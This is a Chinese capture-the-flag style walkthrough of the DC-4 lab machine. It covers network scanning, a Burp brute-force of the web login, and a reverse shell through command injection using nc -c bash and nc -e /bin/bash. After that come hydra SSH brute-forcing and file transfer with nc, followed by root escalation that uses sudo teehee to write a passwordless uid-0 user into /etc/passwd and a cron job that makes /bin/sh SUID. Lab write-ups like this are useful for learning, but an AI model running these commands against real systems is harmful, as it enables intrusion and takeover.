9.100个渗透测试实战#9(DC-4)

Odessa ·
更新时间:2024-09-21
· 848 次阅读

世间一切皆可努力

                                                                                                                                                                                    感谢浏览

目录

 

一、实验环境

二、实验流程

三、实验步骤

(一)信息收集——主机发现阶段

1.查看kali的网卡、IP等信息;(网卡名:eth0,IP地址:192.168.97.129)

2.查看靶机页面;

3.探测特定网络的主机存活状态;(netdiscover,arp-scan、nmap)

4.分析所得:

(二)信息收集——端口(服务)扫描阶段

1.扫描靶机的端口、服务、running_OS等信息;

2.分析所得:

(三)渗透测试——80端口(http服务)

1.枚举靶机网站的目录和页面等;

2.在扫描的同时,访问主页、robots.txt、指纹识别;

3.访问以上扫描的结果;

4.分析所得:

5.结合BP暴力破解该网站后台;

6.关闭BP代理,使用破解的密码happy登录后台;

7.分析所得:

(四)渗透测试——利用命令执行漏洞,Getshell

1.kali侦听,命令执行漏洞发起连接请求;

2.转换为交互式shell;

(六)渗透测试——开始致命连问,进一步信息收集,从而提升权限

1.开始致命连问;

2.分析所得:

3.hydra暴力破解ssh服务;

4.使用ssh连接工具,连接jim,进一步信息收集;

5.切换用户到charles,进一步信息收集;

6.使用teehee提权;

7.获取root家目录下的flag;

(七)清楚痕迹,留下后门

四、总结

1.在一定情况下是可以进行暴力破解登录框的(结合BP);

2.使用teehee命令的-a参数,可以写用户进/etc/passwd,也可以写定时任务/etc/crontab;

一、实验环境 靶机:DC-4,IP地址:192.168.97.155 测试机:Kali,IP地址:192.168.97.129 测试机:物理机Win10 连接方式:NAT 二、实验流程 信息收集——主机发现阶段 信息收集——端口(服务)扫描阶段 渗透测试——80端口(BP暴力破解登录框) 渗透测试——Getshell(命令执行漏洞:nc -nv 192.168.97.129 8443 -c bash) 渗透测试——22端口获取jim的shell 渗透测试——通过提示获取charles的shell 渗透测试——本地提权(通过sudo -l的提示进行teehee提权) 清楚痕迹,留下后门 三、实验步骤 (一)信息收集——主机发现阶段 1.查看kali的网卡、IP等信息;(网卡名:eth0,IP地址:192.168.97.129) ifconfig -a

       -a    显示详细信息

2.查看靶机页面;

3.探测特定网络的主机存活状态;(netdiscover,arp-scan、nmap) netdiscover -i eth0 -r 192.168.97.0/24

           -i   指定出口网卡

           -r   指定待扫描网段

arp-scan -l

           --localnet or -l    指定扫描本地网络 

nmap -sP 192.168.97.0/24

           -sP   ping扫描且不扫描端口

4.分析所得: 靶机:192.168.97.155 测试机kali:192.168.97.129 (二)信息收集——端口(服务)扫描阶段 1.扫描靶机的端口、服务、running_OS等信息; nmap -p- -sV -O -A 192.168.97.129

            -p-      扫描全端口

            -sV     扫描端口的服务信息

            -O/A   扫描靶机的运行的操作系统信息

2.分析所得: 共扫描65535个端口,只有两个端口打开; 22端口处于open状态,对应开启了ssh服务; 80端口处于open状态,对应开启了http服务,使用中间件是nginx; 靶机的操作系统是Debian,推测内核版本是3.2-4.9之间; (三)渗透测试——80端口(http服务) 1.枚举靶机网站的目录和页面等; dirb http://192.168.97.155 /usr/share/dirb/wordlists/big.txt

            如下图所示,就两个目录:css和images

御剑扫描,http://192.168.97.155

2.在扫描的同时,访问主页、robots.txt、指纹识别; http://192.168.97.155

          如下图所示,这个是admin管理员用户后台登录页面,f12也无可用信息

http://192.168.97.155/robots.txt

whatweb http://192.168.97.155

3.访问以上扫描的结果; http://192.168.97.155/css

http://192.168.97.155/images

4.分析所得: 一个登录页面,用户名猜测是admin; 可以试试暴力破解。。。 5.结合BP暴力破解该网站后台; 火狐浏览器使用FoxyProxy,打开BP代理

BP拦截

设置Positions

设置payloads

点击start attack

            如下图所示,破解出密码为happy

6.关闭BP代理,使用破解的密码happy登录后台; admin:happy

           如下图所示,登录成功,发现了命令执行漏洞;

打开BP代理,结合BP,测试命令执行漏洞

           如下图所示,发现了空格被+代替

ctrl+r,送入repeater模块,进行多次尝试

cat+/etc/passwd

           如下图所示,发现了三个可疑用户

7.分析所得: 利用nc -nv 192.168.97.129 -c bash或者nc -e /bin/bash 192.168.97.129反弹shell; (四)渗透测试——利用命令执行漏洞,Getshell 1.kali侦听,命令执行漏洞发起连接请求; kali开启侦听,nc -nvlp 8443

BP拦截命令----->修改命令为:nc -nv 192.168.97.129 8443 -c bash  ------>Forward放通即可

              把+替换成空白得:nc+-nv+192.168.97.129+8443+-c+bash

Forward放通后,反弹后的shell如下图所示

2.转换为交互式shell; python -c 'import pty;pty.spawn("/bin/bash")'

(六)渗透测试——开始致命连问,进一步信息收集,从而提升权限 1.开始致命连问; whoami

          如下图所示,当前用户是www-data

                 

                 在debian/ubuntu上,www-data是默认运行web服务的用户/组,一般在通过apt安装web服务程序时生成。搭建web服                     务的文件夹/文件一般要设置成www-data的

id

ls -l /home

ls -la /hoem/jim

          发现,只有jim的家目录下有三个文件:

               backups目录,其他人可读可执行

               mbox文件,其他人无任何权限

               test.sh文件,其他人可读可写可执行权限

ls -l /home/jim/backups

            如下图所示,发现了一个旧密码字典;

cat test.sh

           //我竟然看不懂。。。。。。。。

2.分析所得: 在jim家目录里面发现了一个密码字典; 一个看不懂的sh脚本; 注意:还有ssh服务开启了,推测结合密码字典,使用ssh登录jim; 3.hydra暴力破解ssh服务; 使用nc功能,把字典传输到kali

          kali:nc -lp 1234 > old-passwords.bak

          shell:nc -nv 192.168.97.129 1234 < old-passwords.bak

hydra -l jim -P pass.dic ssh://192.168.97.155 -s 22

         -l     小写的l,后紧跟用户名

         -P   大写的P,后紧跟密码字典

         ssh://   ssh服务

         -s    指定端口

       如下图所示,login:jim  password:jibril04

4.使用ssh连接工具,连接jim,进一步信息收集; MobaXterm连接jim

         如下图所示,登录成功

cat mbox

        如下图所示,发现是一个mail

cd /var/mail ls -l cat jim

          如下图所示,发现了Charles的密码^xHhA&hvim0y(注意:由于是信的署名,字母首字母才是大写,所以用户名是                      charles)

5.切换用户到charles,进一步信息收集; su charles

        密码:^xHhA&hvim0y

sudo -l

         如下图所示,发现了可以用root身份空密码使用/usr/bin/teehee命令

6.使用teehee提权;

第一种方法:向/etc/passwd里面直接写入一个用户,uid写为0,gid写为0

cat /etc/passwd

         如下图所示,/etc/passwd里存储的内容如下:用户名+密码+uid+gid+描述+家目录+/bin/bash

根据/etc/passwd的提示,我们利用teehee命令向/etc/passwd内写一个uid和gid为0的用户(其用户名为teehee)

         echo "teehee::0:0:0:::/bin/bash" | sudo teehee -a /etc/passwd

              |  管道符,把前面一个命令的输出当作后一个命令的输入进行其操作

              -a, --append              append to the given FILEs, do not overwrite(追加到给定文件,不覆盖)

cat /etc/passwd

           如下图所示,成功写入了用户teehee,且uid和gid为0,shell为/bin/bash,就有了root权限了

su teehee,切换用户,成为root

第二种提权方法:向/etc/crontab文件中写入新的定时任务,通过定时任务执行脚本提权

echo "* * * * * root chmod 4777 /bin/sh"  | sudo teehee -a /etc/crontab  

        时间部分全部填写为*,这样默认这个定时任务每分钟执行一次,可以根据情况自行设定。通过执行的脚本将/bin/sh的权限            修改为4777,这样就可以在非root用户下执行它,并且执行期间拥有root权限

cat /etc/crontab

ls -la /bin/sh ls -la /bin/dash

/bin/sh   提升权限

7.获取root家目录下的flag; cd /root ls cat flag.txt

(七)清楚痕迹,留下后门 四、总结 1.在一定情况下是可以进行暴力破解登录框的(结合BP); 2.使用teehee命令的-a参数,可以写用户进/etc/passwd,也可以写定时任务/etc/crontab;
作者:qwsn



实战 渗透测试 测试 dc

需要 登录 后方可回复, 如果你还没有账号请 注册新账号